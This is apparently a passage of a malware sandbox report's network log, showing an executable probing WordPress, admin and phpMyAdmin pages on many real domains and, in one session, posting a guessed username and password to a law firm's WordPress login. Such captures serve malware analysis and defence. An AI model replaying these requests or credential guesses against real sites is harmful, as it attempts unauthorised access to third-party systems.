2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 61 69 6c 20 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d 70 77 Data Ascii: ail Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-pw
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 6f 63 75 73 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 Data Ascii: ocus(); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-polic
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 63 36 61 65 63 39 61 38 64 34 65 35 61 35 64 35 34 33 61 31 22 20 69 64 3d 22 77 70 2d 68 6f 6f 6b 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 Data Ascii: ://hightideinc.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script><script type="text/javascript" src="https://hightideinc.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1" id="wp-hooks-js"></script><s
2023-11-26 05:59:41 UTC	318	IN	Data Raw: 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 30 30 37 63 61 39 30 65 65 30 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 6a 73 2f 75 73 65 72 2d 70 72 6f 66 69 6c 65 2e 6d 69 6e 2e Data Ascii: ></script><script type="text/javascript" id="user-profile-js-extra">/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"007ca90ee0"};/ ... */</script><script type="text/javascript" src="https://hightideinc.com/wp-admin/js/user-profile.min.
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	63214	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	170	OUT	GET /admin HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:41 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	62908	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	343	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 324Connection: closeLocation: http://www.grantstech.io/wp-login.phpCache-Control: max-age=0Expires: Sun, 26 Nov 2023
2023-11-26 05:59:41 UTC	324	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/wp-login.php">here</a>.</p><hr><address>Apache/2.4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	62925	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	587	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 53 65 74 2d 43 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineSet-C
2023-11-26 05:59:41 UTC	6251	IN	Data Raw: 31 38 35 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 Data Ascii: 185e<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	62944	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	177	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	411	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 31 35 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 2d 64 65 73 69 67 6e 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheX-Powered-By: PHP/7.4.15Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://micro-design.com/wp-json/>; rel="https://api
2023-11-26 05:59:41 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='noindex, follow' /><script>win
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 32 32 32 32 32 32 32 32 32 32 32 32 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 36 36 36 36 36 36 36 36 36 36 36 37 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 38 38 38 38 38 38 38 38 38 38 38 39 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 Data Ascii: ntent h1{font-size:40px;font-size:2.2222222222222rem;line-height:1.4em;}h2,.entry-content h2{font-size:30px;font-size:1.6666666666667rem;line-height:1.25em;}h3,.entry-content h3{font-size:25px;font-size:1.3888888888889rem;line-height:1.2em;}h4,.entry-cont
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 2e 35 65 6d 20 31 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 63 61 72 74 5f 69 74 65 6d 2e 65 64 64 5f 63 68 65 63 6b 6f 75 74 20 7b 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 31 2e 35 65 6d 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 20 3e 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 Data Ascii: .5em 1.5em;margin: 0;text-align: center;}.astra-cart-drawer .astra-cart-drawer-content .cart_item.edd_checkout {padding: 1em 1.5em 0;text-align: center;margin-top: 0;}.astra-cart-drawer .widget_shopping_cart_content > .woocommerce-mini-cart__empty-message
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	63050	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	382	OUT	POST /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=jesjnggp6vjls65p7b8o9k2csb User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://engel-firm.com/wp-login.php Content-Length: 158 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:41 UTC	158	OUT	Data Raw: 6c 6f 67 3d 63 6f 6e 74 61 63 74 75 73 26 70 77 64 3d 57 65 6c 63 6f 6d 65 32 30 31 36 25 32 34 26 77 70 73 65 63 5f 63 61 70 74 63 68 61 5f 61 6e 73 77 65 72 3d 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=contactus&pwd=Welcome2016%24&wpsec_captcha_answer=&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fengel-firm.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:41 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:41 UTC	7940	IN	Data Raw: 31 65 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1efc<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:41 UTC	1604	IN	Data Raw: 36 33 64 0d 0a 72 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 34 27 20 69 64 3d 27 75 6e 64 65 72 73 63 6f 72 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 61 6a 61 78 22 3a 7b 22 75 72 6c 22 3a 22 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 Data Ascii: 63dre.min.js?ver=1.13.4' id='underscore-js'></script><script type='text/javascript' id='wp-util-js-extra'>/* <![CDATA[ /var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};/ ... */</script><script type='text/javascript' src='http
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	62909	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
